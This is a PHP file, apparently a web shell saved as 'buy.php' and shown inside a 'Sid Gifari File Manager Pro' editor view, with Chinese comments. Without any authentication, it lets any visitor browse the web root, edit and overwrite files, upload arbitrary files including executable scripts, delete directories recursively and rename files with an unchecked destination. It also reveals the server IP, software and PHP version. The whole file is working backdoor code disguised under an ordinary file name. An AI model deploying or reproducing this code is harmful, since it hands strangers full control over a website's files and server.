Sid Gifari File Manager Pro v10.0.3

✏️ Editing: buy.php Writable

<?php
session_start();
// 获取网站根目录 将默认目录从 $documentRoot 改为 $scriptDir，这样默认就会显示脚本所在的目录
$documentRoot = realpath($_SERVER['DOCUMENT_ROOT']);
$scriptDir = dirname(__FILE__); // 这个 PHP 文件所在目录
$rootDirectory = realpath($scriptDir . '/../'); // 这个 PHP 目录的上一级

// 解析当前访问的目录
$currentDirectory = '';
if (isset($_GET['directory'])) {
    $requestedDir = $_GET['directory'];
    if ($requestedDir === '') {
        // 修改这里：默认显示脚本所在目录
        // $currentDirectory = $documentRoot; //这个是显示网站根目录
        $currentDirectory = $scriptDir;
    } else {
        $requestedPath = realpath($documentRoot . '/' . $requestedDir);
        if ($requestedPath !== false && 
            is_dir($requestedPath) && 
            strpos($requestedPath, $documentRoot) === 0) {
            $currentDirectory = $requestedPath;
        } else {
            http_response_code(404);
            die("错误：请求的目录不存在或无法访问");
        }
    }
} else {
     // 修改这里：默认显示脚本所在目录
    //$currentDirectory = $documentRoot;//这个是显示网站根目录
    $currentDirectory = $scriptDir;
}

// 确保当前目录是有效的
if (!is_dir($currentDirectory)) {
    http_response_code(500);
    die("错误：无法访问目录");
}

// **文件大小转换**
function human_filesize($bytes, $decimals = 2) {
    $sz = array('B', 'KB', 'MB', 'GB', 'TB');
    $factor = floor((strlen($bytes) - 1) / 3);
    return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . " " . (isset($sz[$factor]) ? $sz[$factor] : '');
}

// **处理文件编辑**
if (isset($_GET['edit'])) {
    $fileToEdit = realpath($documentRoot . '/' . $_GET['edit']);

if ($fileToEdit && strpos($fileToEdit, $documentRoot) === 0 && is_file($fileToEdit)) {
        if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['fileContent'])) {
            file_put_contents($fileToEdit, $_POST['fileContent']);
            echo "<p>✅ 文件已保存</p>";
        }
        $content = htmlspecialchars(file_get_contents($fileToEdit));
        echo "<h2>编辑文件: " . basename($fileToEdit) . "</h2>";
        echo "<form method='POST'>
                <textarea name='fileContent' style='width:100%;height:300px;'>".$content."</textarea>
                <button type='submit'>保存</button>
                <a href='?directory=" . urlencode(str_replace($documentRoot, "", $currentDirectory)) . "'>返回</a>
              </form>";
        exit;
    } else {
        echo "<p>❌ 无法编辑文件，路径无效或文件不存在</p>";
        exit;
    }
}

// **文件上传**
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['uploadFile'])) {
    $fileName = basename($_FILES['uploadFile']['name']);
    $uploadFile = $currentDirectory . '/' . $fileName;
    if (move_uploaded_file($_FILES['uploadFile']['tmp_name'], $uploadFile)) {
        // 获取协议 (http 或 https)
        $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://';
        // 获取当前域名
        $host = $_SERVER['HTTP_HOST'];
        // 获取当前目录的URL路径
        $currentPath = str_replace('\\', '/', str_replace($documentRoot, '', $currentDirectory));
        // 构建完整的文件URL
        $fileUrl = $protocol . $host . $currentPath . '/' . urlencode($fileName);
        // 显示成功信息和文件URL
        echo "<div style='margin: 10px 0; padding: 10px; background: #e8f5e9; border: 1px solid #4caf50; border-radius: 4px;'>";
        echo "<p>✅ 文件上传成功！</p>";
        echo "<p>文件URL: <a href='" . htmlspecialchars($fileUrl) . "' target='_blank'>" . htmlspecialchars($fileUrl) . "</a></p>";
        echo "</div>";
    } else {
        echo "<div style='margin: 10px 0; padding: 10px; background: #ffebee; border: 1px solid #f44336; border-radius: 4px;'>";
        echo "<p>❌ 文件上传失败，请检查文件大小和权限设置</p>";
        echo "</div>";
    }
}

// **递归删除目录**
function deleteDirectory($dir) {
    if (!file_exists($dir)) {
        return false;
    }
    
    $files = array_diff(scandir($dir), array('.', '..'));
    $success = true;
    
    foreach ($files as $file) {
        $path = $dir . DIRECTORY_SEPARATOR . $file;
        
        if (is_dir($path)) {
            // 递归删除子目录
            if (!deleteDirectory($path)) {
                $success = false;
            }
        } else {
            // 删除文件
            if (!unlink($path)) {
                $success = false;
            }
        }
    }
    
    // 删除空目录
    if ($success) {
        if (!rmdir($dir)) {
            $success = false;
        }
    }
    
    return $success;
}

// **处理批量删除文件和目录**
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['deleteFiles'])) {
    $filesToDelete = json_decode($_POST['deleteFiles'], true);
    $deleted = array(); // 使用array()而不是[]，兼容PHP 5.2
    $errors = array(); // 使用array()而不是[]，兼容PHP 5.2

foreach ($filesToDelete as $fileName) {
        $pathToDelete = realpath($currentDirectory . '/' . $fileName);
        if ($pathToDelete && strpos($pathToDelete, $documentRoot) === 0) {
            if (is_file($pathToDelete)) {
                if (unlink($pathToDelete)) {
                    $deleted[] = $fileName;
                } else {
                    $errors[] = $fileName . " (删除失败)";
                }
            } elseif (is_dir($pathToDelete)) {
                if (deleteDirectory($pathToDelete)) {
                    $deleted[] = $fileName;
                } else {
                    $errors[] = $fileName . " (目录删除失败)";
                }
            }
        } else {
            $errors[] = $fileName . " (无效的路径)";
        }
    }

echo json_encode(array("deleted" => $deleted, "errors" => $errors));
    exit;
}

// **处理文件重命名**
if (isset($_POST['rename'])) {
    $oldName = realpath($currentDirectory . '/' . $_POST['fileName']);
    $newName = $currentDirectory . '/' . $_POST['copyName'];
    if ($oldName && strpos($oldName, $documentRoot) === 0) {
        if (rename($oldName, $newName)) {
            echo json_encode(array("status" => "success", "message" => "文件已重命名")); // 使用array()而不是[]，兼容PHP 5.2
        } else {
            echo json_encode(array("status" => "error", "message" => "重命名失败：权限不足")); // 使用array()而不是[]，兼容PHP 5.2
        }
    } else {
        echo json_encode(array("status" => "error", "message" => "重命名失败：文件不存在")); // 使用array()而不是[]，兼容PHP 5.2
    }
    exit;
}

// 获取当前目录下的文件和文件夹
$fileList = is_dir($currentDirectory) ? scandir($currentDirectory) : array(); // 使用array()而不是[]，兼容PHP 5.2

// **面包屑导航**
$breadcrumbs = array();
$pathParts = explode("/", trim(str_replace($documentRoot, "", $currentDirectory), "/"));
$pathLink = "";
$breadcrumbs[] = "<a href='?directory=%2F'>Home</a>";

foreach ($pathParts as $part) {
    if (!empty($part)) {// 避免空路径部分
        $pathLink .= "/" . $part;
        $breadcrumbs[] = "<a href='?directory=" . urlencode($pathLink) . "'>" . htmlspecialchars($part) . "</a>";
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>文件管理器</title>
    <style>
        body { font-family: Arial, sans-serif; }
        table { border-collapse: collapse; width: 100%; }
        th, td { padding: 8px; text-align: left; }
        th { background-color: #f2f2f2; }
        tr:nth-child(even) { background-color: #f9f9f9; }
        .breadcrumbs { margin: 10px 0; }
        button { margin: 2px; }
    </style>
</head>
<body>
<?php
// 显示服务器信息
echo "<div style='margin: 10px 0; padding: 10px; background: #f5f5f5; border: 1px solid #ddd; border-radius: 4px;'>";
echo "<div><strong>Server IP:</strong> " . $_SERVER['SERVER_ADDR'] . "</div>";
echo "<div><strong>Server Software:</strong> " . $_SERVER['SERVER_SOFTWARE'] . "</div>";
echo "<div><strong>PHP Version:</strong> " . phpversion() . "</div>";
echo "</div>";

echo "<div class='breadcrumbs'>" . implode("/", $breadcrumbs) . "</div>";

// 添加文件上传表单
echo '<form method="POST" enctype="multipart/form-data" style="margin: 10px 0;">
        <input type="file" name="uploadFile" required>
        <button type="submit">📤 上传文件</button>
      </form>';

echo "<form id='deleteForm'>";
echo "<button type='button' onclick='toggleSelectAll()'>全选/取消全选</button>";
echo "<button type='button' onclick='deleteSelectedFiles()'>❌ 批量删除</button>";
echo "<table border='1' cellspacing='0' cellpadding='5'>";
echo "<tr><th>选择</th><th>文件名</th><th>文件大小</th><th>最后修改时间</th><th>操作</th></tr>";

foreach ($fileList as $file) {
    if ($file == "." || $file == "..") continue;
    $filePath = $currentDirectory . '/' . $file;
    
    $fileSize = is_dir($filePath) ? '-' : human_filesize(filesize($filePath));
    $fileDate = date("Y-m-d H:i:s", filemtime($filePath));
    $fileNameHtml = htmlspecialchars($file); // 安全输出文件名

echo "<tr>";
    echo "<td><input type='checkbox' class='file-checkbox' value='" . $fileNameHtml . "'></td>";
    if (is_dir($filePath)) {
        echo "<td>[📁] <a href='?directory=" . urlencode(str_replace($documentRoot . '/', '', $filePath)) . "'>".$fileNameHtml."</a></td>";
        echo "<td>-</td><td>".$fileDate."</td>";
    } else {
        echo "<td>[📄] ".$fileNameHtml."</td>";
        echo "<td>".$fileSize."</td><td>".$fileDate."</td>";
    }
    echo "<td>
            <button type='button' onclick='editFile(\"" . htmlspecialchars(str_replace($documentRoot . '/', '', $filePath)) . "\")'>📝 编辑</button>
            <button type='button' onclick='renameFile(\"".addslashes($fileNameHtml)."\")'>✏️ 重命名</button>
          </td>";
    echo "</tr>";
}
echo "</table>";
echo "</form>";
?>